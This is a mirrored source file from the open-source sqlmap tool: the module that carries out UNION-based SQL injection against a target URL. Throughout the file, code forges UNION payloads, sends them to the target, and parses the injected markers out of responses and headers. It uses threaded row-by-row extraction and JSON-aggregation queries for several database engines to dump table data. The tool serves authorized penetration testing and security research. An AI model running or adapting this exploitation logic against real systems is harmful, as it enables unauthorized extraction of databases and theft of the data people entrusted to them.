mirror of
https://github.com/sqlmapproject/sqlmap.git
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456 lines
23 KiB
Python
456 lines
23 KiB
Python
#!/usr/bin/env python
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"""
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Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/)
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See the file 'LICENSE' for copying permission
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"""
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import json
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import re
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import time
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from lib.core.agent import agent
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from lib.core.bigarray import BigArray
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from lib.core.common import arrayizeValue
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from lib.core.common import Backend
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import clearConsoleLine
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from lib.core.common import dataToStdout
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from lib.core.common import extractRegexResult
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from lib.core.common import firstNotNone
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from lib.core.common import flattenValue
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from lib.core.common import getConsoleWidth
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from lib.core.common import getPartRun
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from lib.core.common import hashDBRetrieve
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from lib.core.common import hashDBWrite
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from lib.core.common import incrementCounter
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from lib.core.common import initTechnique
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from lib.core.common import isDigit
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from lib.core.common import isListLike
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from lib.core.common import isNoneValue
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from lib.core.common import isNumPosStrValue
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from lib.core.common import listToStrValue
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from lib.core.common import parseUnionPage
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from lib.core.common import removeReflectiveValues
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from lib.core.common import singleTimeDebugMessage
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from lib.core.common import singleTimeWarnMessage
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from lib.core.common import unArrayizeValue
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from lib.core.common import wasLastResponseDBMSError
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from lib.core.compat import xrange
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from lib.core.convert import decodeBase64
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from lib.core.convert import getUnicode
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from lib.core.convert import htmlUnescape
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.dicts import FROM_DUMMY_TABLE
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from lib.core.enums import DBMS
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from lib.core.enums import HTTP_HEADER
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from lib.core.enums import PAYLOAD
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from lib.core.exception import SqlmapDataException
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from lib.core.exception import SqlmapSyntaxException
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from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH
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from lib.core.settings import NULL
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from lib.core.settings import SQL_SCALAR_REGEX
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from lib.core.settings import TURN_OFF_RESUME_INFO_LIMIT
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from lib.core.threads import getCurrentThreadData
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from lib.core.threads import runThreads
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.utils.progress import ProgressBar
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from lib.utils.safe2bin import safecharencode
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from thirdparty import six
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from thirdparty.odict import OrderedDict
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def _oneShotUnionUse(expression, unpack=True, limited=False):
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retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted
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threadData = getCurrentThreadData()
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threadData.resumed = retVal is not None
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if retVal is None:
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
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if not kb.jsonAggMode:
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injExpression = unescaper.escape(agent.concatQuery(expression, unpack))
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kb.unionDuplicates = vector[7]
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kb.forcePartialUnion = vector[8]
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# Note: introduced columns in 1.4.2.42#dev
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try:
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kb.tableFrom = vector[9]
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kb.unionTemplate = vector[10]
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except IndexError:
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pass
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query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited)
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where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6]
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else:
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injExpression = unescaper.escape(expression)
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where = vector[6]
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query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False)
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payload = agent.payload(newValue=query, where=where)
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# Perform the request
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page, headers, _ = Request.queryPage(payload, content=True, raise404=False)
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if page and kb.chars.start.upper() in page and kb.chars.start not in page:
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singleTimeWarnMessage("results seems to be upper-cased by force. sqlmap will automatically lower-case them")
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page = page.lower()
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incrementCounter(PAYLOAD.TECHNIQUE.UNION)
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if kb.jsonAggMode:
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for _page in (page or "", (page or "").replace('\\"', '"')):
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if Backend.isDbms(DBMS.MSSQL):
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output = extractRegexResult(r"%s(?P<result>.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
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if output:
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try:
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retVal = ""
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fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P<result>[^}]+)}", output))
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for row in json.loads(output):
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retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop)
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except:
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retVal = None
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else:
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retVal = getUnicode(retVal)
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elif Backend.isDbms(DBMS.PGSQL):
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output = extractRegexResult(r"(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
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if output:
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retVal = output
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else:
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output = extractRegexResult(r"%s(?P<result>.*?)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload))
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if output:
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try:
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retVal = ""
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for row in json.loads(output):
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# NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="]
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for match in re.finditer(r"base64:type\d+:([^ ]+)", row):
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row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False))
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retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop)
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except:
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retVal = None
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else:
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retVal = getUnicode(retVal)
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if retVal:
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break
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else:
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# Parse the returned page to get the exact UNION-based
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# SQL injection output
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def _(regex):
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return firstNotNone(
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extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE),
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extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)
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)
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# Automatically patching last char trimming cases
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if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
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warnMsg = "automatically patching output having last char trimmed"
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singleTimeWarnMessage(warnMsg)
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page = page.replace(kb.chars.stop[:-1], kb.chars.stop)
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retVal = _("(?P<result>%s.*%s)" % (kb.chars.start, kb.chars.stop))
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if retVal is not None:
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retVal = getUnicode(retVal, kb.pageEncoding)
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# Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection
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if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError():
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retVal = htmlUnescape(retVal).replace("<br>", "\n")
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hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal)
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elif not kb.jsonAggMode:
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trimmed = _("%s(?P<result>.*?)<" % (kb.chars.start))
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if trimmed:
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warnMsg = "possible server trimmed output detected "
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warnMsg += "(probably due to its length and/or content): "
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warnMsg += safecharencode(trimmed)
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logger.warning(warnMsg)
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elif re.search(r"ORDER BY [^ ]+\Z", expression):
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debugMsg = "retrying failed SQL query without the ORDER BY clause"
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singleTimeDebugMessage(debugMsg)
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expression = re.sub(r"\s*ORDER BY [^ ]+\Z", "", expression)
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retVal = _oneShotUnionUse(expression, unpack, limited)
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elif kb.nchar and re.search(r" AS N(CHAR|VARCHAR)", agent.nullAndCastField(expression)):
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debugMsg = "turning off NATIONAL CHARACTER casting" # NOTE: in some cases there are "known" incompatibilities between original columns and NCHAR (e.g. http://testphp.vulnweb.com/artists.php?artist=1)
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singleTimeDebugMessage(debugMsg)
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kb.nchar = False
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retVal = _oneShotUnionUse(expression, unpack, limited)
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else:
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vector = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector
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kb.unionDuplicates = vector[7]
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return retVal
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def configUnion(char=None, columns=None):
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def _configUnionChar(char):
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if not isinstance(char, six.string_types):
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return
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kb.uChar = char
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if conf.uChar is not None:
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kb.uChar = char.replace("[CHAR]", conf.uChar if isDigit(conf.uChar) else "'%s'" % conf.uChar.strip("'"))
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def _configUnionCols(columns):
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if not isinstance(columns, six.string_types):
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return
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columns = columns.replace(' ', "")
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if '-' in columns:
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colsStart, colsStop = columns.split('-')
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else:
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colsStart, colsStop = columns, columns
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if not isDigit(colsStart) or not isDigit(colsStop):
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raise SqlmapSyntaxException("--union-cols must be a range of integers")
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conf.uColsStart, conf.uColsStop = int(colsStart), int(colsStop)
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if conf.uColsStart > conf.uColsStop:
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errMsg = "--union-cols range has to represent lower to "
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errMsg += "higher number of columns"
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raise SqlmapSyntaxException(errMsg)
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_configUnionChar(char)
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_configUnionCols(conf.uCols or columns)
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def unionUse(expression, unpack=True, dump=False):
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"""
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This function tests for an UNION SQL injection on the target
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URL then call its subsidiary function to effectively perform an
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UNION SQL injection on the affected URL
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"""
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initTechnique(PAYLOAD.TECHNIQUE.UNION)
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abortedFlag = False
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count = None
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origExpr = expression
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startLimit = 0
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stopLimit = None
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value = None
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width = getConsoleWidth()
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start = time.time()
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_, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr)
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# Set kb.partRun in case the engine is called from the API
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kb.partRun = getPartRun(alias=False) if conf.api else None
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if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper():
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# Removed ORDER BY clause because UNION does not play well with it
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expression = re.sub(r"(?i)\s*ORDER BY\s+[\w,]+", "", expression)
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debugMsg = "stripping ORDER BY clause from statement because "
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debugMsg += "it does not play well with UNION query SQL injection"
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singleTimeDebugMessage(debugMsg)
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if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)):
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match = re.search(r"SELECT\s*(.+?)\bFROM", expression, re.I)
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if match and not (Backend.isDbms(DBMS.ORACLE) and FROM_DUMMY_TABLE[DBMS.ORACLE] in expression) and not re.search(r"\b(MIN|MAX|COUNT|EXISTS)\(", expression):
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kb.jsonAggMode = True
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if Backend.isDbms(DBMS.MYSQL):
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query = expression.replace(expressionFields, "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (kb.chars.start, kb.chars.delimiter, ','.join(agent.nullAndCastField(field) for field in expressionFieldsList), kb.chars.stop), 1)
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elif Backend.isDbms(DBMS.ORACLE):
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query = expression.replace(expressionFields, "'%s'||JSON_ARRAYAGG(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join(expressionFieldsList), kb.chars.stop), 1)
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elif Backend.isDbms(DBMS.SQLITE):
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query = expression.replace(expressionFields, "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
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elif Backend.isDbms(DBMS.PGSQL): # Note: ARRAY_AGG does CSV alike output, thus enclosing start/end inside each item
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query = expression.replace(expressionFields, "ARRAY_AGG('%s'||%s||'%s')::text" % (kb.chars.start, ("||'%s'||" % kb.chars.delimiter).join("COALESCE(%s::text,' ')" % field for field in expressionFieldsList), kb.chars.stop), 1)
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elif Backend.isDbms(DBMS.MSSQL):
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query = "'%s'+(%s FOR JSON AUTO, INCLUDE_NULL_VALUES)+'%s'" % (kb.chars.start, expression, kb.chars.stop)
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output = _oneShotUnionUse(query, False)
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value = parseUnionPage(output)
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kb.jsonAggMode = False
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# We have to check if the SQL query might return multiple entries
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# if the technique is partial UNION query and in such case forge the
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# SQL limiting the query output one entry at a time
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# NOTE: we assume that only queries that get data from a table can
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# return multiple entries
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if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or conf.forcePartial or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
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expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
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if limitCond:
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# Count the number of SQL query entries output
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countedExpression = expression.replace(expressionFields, queries[Backend.getIdentifiedDbms()].count.query % ('*' if len(expressionFieldsList) > 1 else expressionFields), 1)
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if " ORDER BY " in countedExpression.upper():
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_ = countedExpression.upper().rindex(" ORDER BY ")
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countedExpression = countedExpression[:_]
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output = _oneShotUnionUse(countedExpression, unpack)
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count = unArrayizeValue(parseUnionPage(output))
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if isNumPosStrValue(count):
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if isinstance(stopLimit, int) and stopLimit > 0:
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stopLimit = min(int(count), int(stopLimit))
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else:
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stopLimit = int(count)
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debugMsg = "used SQL query returns "
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debugMsg += "%d %s" % (stopLimit, "entries" if stopLimit > 1 else "entry")
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logger.debug(debugMsg)
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elif count and (not isinstance(count, six.string_types) or not count.isdigit()):
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warning(warnMsg)
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stopLimit = 1
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elif not isNumPosStrValue(count):
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if not count:
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warning(warnMsg)
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else:
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value = [] # for empty tables
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return value
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if isNumPosStrValue(count) and int(count) > 1:
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threadData = getCurrentThreadData()
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try:
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threadData.shared.limits = iter(xrange(startLimit, stopLimit))
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except OverflowError:
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errMsg = "boundary limits (%d,%d) are too large. Please rerun " % (startLimit, stopLimit)
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errMsg += "with switch '--fresh-queries'"
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raise SqlmapDataException(errMsg)
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numThreads = min(conf.threads, (stopLimit - startLimit))
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threadData.shared.value = BigArray()
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threadData.shared.buffered = []
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threadData.shared.counter = 0
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threadData.shared.lastFlushed = startLimit - 1
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threadData.shared.showEta = conf.eta and (stopLimit - startLimit) > 1
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if threadData.shared.showEta:
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threadData.shared.progress = ProgressBar(maxValue=(stopLimit - startLimit))
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if stopLimit > TURN_OFF_RESUME_INFO_LIMIT:
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kb.suppressResumeInfo = True
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debugMsg = "suppressing possible resume console info for "
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debugMsg += "large number of rows as it might take too long"
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logger.debug(debugMsg)
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try:
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def unionThread():
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threadData = getCurrentThreadData()
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while kb.threadContinue:
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with kb.locks.limit:
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try:
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threadData.shared.counter += 1
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num = next(threadData.shared.limits)
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except StopIteration:
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break
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if Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
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field = expressionFieldsList[0]
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elif Backend.isDbms(DBMS.ORACLE):
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field = expressionFieldsList
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else:
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field = None
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limitedExpr = agent.limitQuery(num, expression, field)
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output = _oneShotUnionUse(limitedExpr, unpack, True)
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if not kb.threadContinue:
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break
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if output:
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with kb.locks.value:
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if all(_ in output for _ in (kb.chars.start, kb.chars.stop)):
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items = parseUnionPage(output)
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if threadData.shared.showEta:
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threadData.shared.progress.progress(threadData.shared.counter)
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if isListLike(items):
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# in case that we requested N columns and we get M!=N then we have to filter a bit
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if len(items) > 1 and len(expressionFieldsList) > 1:
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items = [item for item in items if isListLike(item) and len(item) == len(expressionFieldsList)]
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items = [_ for _ in flattenValue(items)]
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if len(items) > len(expressionFieldsList):
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filtered = OrderedDict()
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for item in items:
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key = re.sub(r"[^A-Za-z0-9]", "", item).lower()
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if key not in filtered or re.search(r"[^A-Za-z0-9]", item):
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filtered[key] = item
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items = list(six.itervalues(filtered))
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items = [items]
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index = None
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for index in xrange(1 + len(threadData.shared.buffered)):
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if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
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break
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threadData.shared.buffered.insert(index or 0, (num, items))
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else:
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index = None
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if threadData.shared.showEta:
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threadData.shared.progress.progress(threadData.shared.counter)
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for index in xrange(1 + len(threadData.shared.buffered)):
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if index < len(threadData.shared.buffered) and threadData.shared.buffered[index][0] >= num:
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break
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threadData.shared.buffered.insert(index or 0, (num, None))
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items = output.replace(kb.chars.start, "").replace(kb.chars.stop, "").split(kb.chars.delimiter)
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while threadData.shared.buffered and (threadData.shared.lastFlushed + 1 >= threadData.shared.buffered[0][0] or len(threadData.shared.buffered) > MAX_BUFFERED_PARTIAL_UNION_LENGTH):
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threadData.shared.lastFlushed, _ = threadData.shared.buffered[0]
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if not isNoneValue(_):
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threadData.shared.value.extend(arrayizeValue(_))
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del threadData.shared.buffered[0]
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if conf.verbose == 1 and not (threadData.resumed and kb.suppressResumeInfo) and not threadData.shared.showEta and not kb.bruteMode:
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_ = ','.join("'%s'" % _ for _ in (flattenValue(arrayizeValue(items)) if not isinstance(items, six.string_types) else [items]))
|
|
status = "[%s] [INFO] %s: %s" % (time.strftime("%X"), "resumed" if threadData.resumed else "retrieved", _ if kb.safeCharEncode else safecharencode(_))
|
|
|
|
if len(status) > width:
|
|
status = "%s..." % status[:width - 3]
|
|
|
|
dataToStdout("%s\n" % status)
|
|
|
|
runThreads(numThreads, unionThread)
|
|
|
|
if conf.verbose == 1:
|
|
clearConsoleLine(True)
|
|
|
|
except KeyboardInterrupt:
|
|
abortedFlag = True
|
|
|
|
warnMsg = "user aborted during enumeration. sqlmap "
|
|
warnMsg += "will display partial output"
|
|
logger.warning(warnMsg)
|
|
|
|
finally:
|
|
for _ in sorted(threadData.shared.buffered):
|
|
if not isNoneValue(_[1]):
|
|
threadData.shared.value.extend(arrayizeValue(_[1]))
|
|
value = threadData.shared.value
|
|
kb.suppressResumeInfo = False
|
|
|
|
if not value and not abortedFlag:
|
|
output = _oneShotUnionUse(expression, unpack)
|
|
value = parseUnionPage(output)
|
|
|
|
duration = calculateDeltaSeconds(start)
|
|
|
|
if not kb.bruteMode:
|
|
debugMsg = "performed %d quer%s in %.2f seconds" % (kb.counters[PAYLOAD.TECHNIQUE.UNION], 'y' if kb.counters[PAYLOAD.TECHNIQUE.UNION] == 1 else "ies", duration)
|
|
logger.debug(debugMsg)
|
|
|
|
return value
|